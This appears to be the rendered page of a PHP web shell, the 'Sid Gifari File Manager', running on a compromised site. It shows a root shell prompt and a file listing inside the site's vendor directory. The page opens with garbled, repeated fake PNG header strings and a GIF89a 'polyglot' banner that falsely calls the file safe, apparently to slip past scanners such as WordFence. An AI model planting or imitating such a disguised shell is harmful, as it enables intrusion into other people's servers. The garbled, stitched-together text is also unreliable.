$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-13

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / backfron.com / vendor / league / commonmark / src / Extension / ExternalLink /
root@Sid-Gifari:/home/forge/backfron.com/vendor/league/commonmark/src/Extension/ExternalLink$


NameSizePermAction
📄 ExternalLinkExtension.php 1785 bytes
📄 ExternalLinkProcessor.php 3779 bytes
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